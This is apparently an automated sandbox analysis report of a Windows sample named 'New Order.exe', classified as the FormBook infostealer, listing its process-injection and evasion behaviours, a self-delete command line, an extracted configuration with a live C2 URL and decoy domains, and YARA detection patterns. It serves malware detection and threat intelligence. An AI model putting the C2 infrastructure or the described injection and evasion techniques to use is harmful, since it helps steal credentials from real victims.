Play interactive tour

Edit tour

Windows Analysis Report New Order.exe

Overview

General Information

Sample Name:	New Order.exe
Analysis ID:	438531
MD5:	4af03301316c984c17ca822456b6d918
SHA1:	ad237296e61bde6fe8ba894ec7445bb9bc76ab69
SHA256:	ac339f7ecac47cfc3a860ad42986d9f8d68208e7c7df8b21d4640ade4f2b5131
Tags:	exeFormbook
Infos:
Most interesting Screenshot:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

Yara detected FormBook

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Sample uses process hollowing technique

Tries to detect virtualization through RDTSC time measurements

Antivirus or Machine Learning detection for unpacked file

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

New Order.exe (PID: 7044 cmdline: 'C:\Users\user\Desktop\New Order.exe' MD5: 4AF03301316C984C17CA822456B6D918)

New Order.exe (PID: 7108 cmdline: 'C:\Users\user\Desktop\New Order.exe' MD5: 4AF03301316C984C17CA822456B6D918)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

wscript.exe (PID: 5884 cmdline: C:\Windows\SysWOW64\wscript.exe MD5: 7075DD7B9BE8807FCA93ACD86F724884)

cmd.exe (PID: 6416 cmdline: /c del 'C:\Users\user\Desktop\New Order.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.achainz.com/de52/"], "decoy": ["securenotifications.com", "queenannedelights.com", "ametistadigital.com", "nebraskapaymentrelief.net", "biologicsas.com", "vidalifegroupeurope.com", "sedulabs.com", "relaxingread.com", "oucompany.com", "ty-valve.com", "noakum.com", "neuralinkages.com", "heirsfriend.net", "collectordrive.com", "holidayrefers.com", "rhodessunbed.com", "smartlearningservice.com", "gangju123.com", "yymh8826.com", "ssmgaezp.icu", "nagosemo.store", "czzubniimplantaty.com", "cuttingemporium.com", "sapphireresortapts.com", "thingsnice.com", "occasionalassistant.com", "dietsz.com", "agenciaay.com", "sahaazancosmetics.com", "citizenshipswap.com", "tarjetasbogota.com", "naughtyofficegirls.today", "pamcakedesigns.com", "mytopshelfcloset.com", "optimismactivism.com", "ecard07.com", "ravexim3.com", "1677onyx.com", "blossomkc.com", "havdalahwomen.com", "centraldot.xyz", "runtilltheresnone.com", "alisonhahn.com", "mikesyardsale.com", "ayanmobile.com", "riseframework.com", "intermittentfastingcbd.com", "fahn555.icu", "triumphosophy.com", "mns6238.com", "sallyta.com", "miqr.art", "canadance.net", "poisedbylanaburroughs.com", "artistasmarbella.com", "multimater.info", "trapapa-bitter-nr1-bb.com", "naijadelivery.com", "365killoffices.xyz", "cmvtholiday.taipei", "bespokephysicaltherapy.com", "candlewands.com", "tabakico.com", "domentemenegi39.net"]}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.New Order.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.New Order.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.New Order.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
2.1.New Order.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.1.New Order.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.1.New Order.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
2.1.New Order.exe.400000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.1.New Order.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.1.New Order.exe.400000.0.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
2.2.New Order.exe.400000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
2.2.New Order.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
2.2.New Order.exe.400000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
0.2.New Order.exe.22a0000.2.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.New Order.exe.22a0000.2.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x85e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8972:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x14685:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14171:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x14787:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x148ff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x938a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x133ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa102:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x19787:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1a82a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.New Order.exe.22a0000.2.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x166b9:$sqlite3step: 68 34 1C 7B E1 0x167cc:$sqlite3step: 68 34 1C 7B E1 0x166e8:$sqlite3text: 68 38 2A 90 C5 0x1680d:$sqlite3text: 68 38 2A 90 C5 0x166fb:$sqlite3blob: 68 53 D8 7F 8C 0x16823:$sqlite3blob: 68 53 D8 7F 8C
0.2.New Order.exe.22a0000.2.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.New Order.exe.22a0000.2.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x77e8:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x7b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x13885:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x13371:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x13987:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x13aff:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x858a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x125ec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x9302:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x18987:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x19a2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.New Order.exe.22a0000.2.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x158b9:$sqlite3step: 68 34 1C 7B E1 0x159cc:$sqlite3step: 68 34 1C 7B E1 0x158e8:$sqlite3text: 68 38 2A 90 C5 0x15a0d:$sqlite3text: 68 38 2A 90 C5 0x158fb:$sqlite3blob: 68 53 D8 7F 8C 0x15a23:$sqlite3blob: 68 53 D8 7F 8C
Click to see the 13 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.achainz.com/de52/"], "decoy": ["securenotifications.com", "queenannedelights.com", "ametistadigital.com", "nebraskapaymentrelief.net", "biologicsas.com", "vidalifegroupeurope.com", "sedulabs.com", "relaxingread.com", "oucompany.com", "ty-valve.com", "noakum.com", "neuralinkages.com", "heirsfriend.net", "collectordrive.com", "holidayrefers.com", "rhodessunbed.com", "smartlearningservice.com", "gangju123.com", "yymh8826.com", "ssmgaezp.icu", "nagosemo.store", "czzubniimplantaty.com", "cuttingemporium.com", "sapphireresortapts.com", "thingsnice.com", "occasionalassistant.com", "dietsz.com", "agenciaay.com", "sahaazancosmetics.com", "citizenshipswap.com", "tarjetasbogota.com", "naughtyofficegirls.today", "pamcakedesigns.com", "mytopshelfcloset.com", "optimismactivism.com", "ecard07.com", "ravexim3.com", "1677onyx.com", "blossomkc.com", "havdalahwomen.com", "centraldot.xyz", "runtilltheresnone.com", "alisonhahn.com", "mikesyardsale.com", "ayanmobile.com", "riseframework.com", "intermittentfastingcbd.com", "fahn555.icu", "triumphosophy.com", "mns6238.com", "sallyta.com", "miqr.art", "canadance.net", "poisedbylanaburroughs.com", "artistasmarbella.com", "multimater.info", "trapapa-bitter-nr1-bb.com", "naijadelivery.com", "365killoffices.xyz", "cmvtholiday.taipei", "bespokephysicaltherapy.com", "candlewands.com", "tabakico.com", "domentemenegi39.net"]}

Multi AV Scanner detection for submitted file

Show sources

Source: New Order.exe

ReversingLabs: Detection: 36%

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.901125001.0000000000EB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.901427699.0000000003380000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690404186.00000000009F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.645023716.00000000022A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690073712.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000001.642981900.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.690378991.00000000009C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 2.2.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.1.New Order.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.New Order.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.New Order.exe.22a0000.2.unpack, type: UNPACKEDPE

Machine Learning detection for sample

Show sources

Source: New Order.exe

Joe Sandbox ML: detected

Source: 5.2.wscript.exe.34180a8.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 5.2.wscript.exe.5957960.6.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 2.1.New Order.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 2.2.New Order.exe.400000.0.unpack	Avira: Label: TR/Crypt.ZPACK.Gen
Source: 0.2.New Order.exe.22a0000.2.unpack	Avira: Label: TR/Crypt.ZPACK.Gen

Source: New Order.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source:	Binary string: wscript.pdbGCTL source: New Order.exe, 00000002.00000002.690441656.0000000000A30000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000003.00000000.656881329.0000000005A00000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: New Order.exe, 00000000.00000003.641817824.0000000009770000.00000004.00000001.sdmp, New Order.exe, 00000002.00000002.690473130.0000000000BC0000.00000040.00000001.sdmp, wscript.exe, 00000005.00000002.901871458.0000000005420000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: New Order.exe, wscript.exe
Source:	Binary string: wscript.pdb source: New Order.exe, 00000002.00000002.690441656.0000000000A30000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000003.00000000.656881329.0000000005A00000.00000002.00000001.sdmp

Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_00405E93 FindFirstFileA,FindClose,	0_2_00405E93
Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_004054BD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 0_2_00402671 FindFirstFileA,	0_2_00402671

Source: C:\Users\user\Desktop\New Order.exe	Code function: 4x nop then pop ebx	2_2_00406A94
Source: C:\Users\user\Desktop\New Order.exe	Code function: 4x nop then pop ebx	2_1_00406A94
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 4x nop then pop ebx	5_2_03386A96

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

